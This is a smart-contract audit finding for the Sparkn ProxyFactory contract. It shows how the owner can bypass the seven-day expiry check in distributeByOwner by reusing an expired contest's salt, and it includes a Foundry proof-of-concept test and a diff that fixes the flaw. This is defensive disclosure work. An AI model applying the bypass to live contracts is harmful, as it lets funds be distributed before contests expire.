Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

The `distributeByOwner` function of **ProxyFactory** contract without being expired

rotcivegaf

Summary

The owner of ProxyFactory contract could call the distributeByOwner function without waiting for the EXPIRATION_TIME(7 days)

Vulnerability Details

The owner of ProxyFactory contract can bypass the require if (saltToCloseTime[salt] + EXPIRATION_TIME > block.timestamp) revert ProxyFactory__ContestIsNotExpired(); using an old contest:

pragma solidity 0.8.18;
​
import {Test} from "forge-std/Test.sol";
import {ProxyFactory} from "../../src/ProxyFactory.sol";
​
contract ImpMock {
fallback() external {}
}
​
contract PoC is Test {
function test() public {
bytes32 idAlice = keccak256("Alice");
address alice = address(uint160(uint256(idAlice)));
bytes32 idBob = keccak256("Bob");
address bob = address(uint160(uint256(idBob)));
​
address[] memory tokensToWhitelist = new address[](1);
tokensToWhitelist[0] = address(1);
ProxyFactory proxyFactory = new ProxyFactory(tokensToWhitelist);
ImpMock impMock = new ImpMock();
​
// Deploy the first contest
proxyFactory.setContest(alice, idAlice, block.timestamp, address(impMock));
vm.prank(alice);
address aliceContest = proxyFactory.deployProxyAndDistribute(idAlice, address(impMock), '');
​
// Forward time to EXPIRATION_TIME(7 days)
vm.warp(proxyFactory.EXPIRATION_TIME() + 1);
​
// Deploy the second contest
proxyFactory.setContest(bob, idBob, block.timestamp, address(impMock));
vm.prank(bob);
address bobContest = proxyFactory.deployProxyAndDistribute(idBob, address(impMock), '');
​
proxyFactory.distributeByOwner(aliceContest, alice, idAlice, address(impMock), '');
​
// This revert, because the bob's contest did not expired
vm.expectRevert(ProxyFactory.ProxyFactory__ContestIsNotExpired.selector);
proxyFactory.distributeByOwner(bobContest, bob, idBob, address(impMock), '');
​
// This should be revert, since the bob's contest did not expired
// but the owner use the alice's contest to pass the expiry check:
// if (saltToCloseTime[salt] + EXPIRATION_TIME > block.timestamp) revert ProxyFactory__ContestIsNotExpired();
proxyFactory.distributeByOwner(bobContest, alice, idAlice, address(impMock), '');
}
}

Impact

The owner of ProxyFactory contract could call the distributeByOwner function without waiting for the EXPIRATION_TIME(7 days)

Recommendations

Calculate the proxy address in the distributeByOwner function:

@@ -196,25 +196,22 @@ contract ProxyFactory is Ownable, EIP712 {
* @notice Owner can rescue funds if token is stuck after the deployment and contest is over for a while
* @dev only owner can call this function and it is supposed not to be called often
* @dev fee sent to stadium address is included in the logic contract
- * @param proxy The proxy address
* @param organizer The contest organizer
* @param contestId The contest id
* @param implementation The implementation address
* @param data The prize distribution calling data
*/
function distributeByOwner(
- address proxy,
address organizer,
bytes32 contestId,
address implementation,
bytes calldata data
) public onlyOwner {
- if (proxy == address(0)) revert ProxyFactory__ProxyAddressCannotBeZero();
bytes32 salt = _calculateSalt(organizer, contestId, implementation);
if (saltToCloseTime[salt] == 0) revert ProxyFactory__ContestIsNotRegistered();
// distribute only when it exists and expired
if (saltToCloseTime[salt] + EXPIRATION_TIME > block.timestamp) revert ProxyFactory__ContestIsNotExpired();
- _distribute(proxy, data);
+ _distribute(getProxyAddress(salt, implementation), data);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.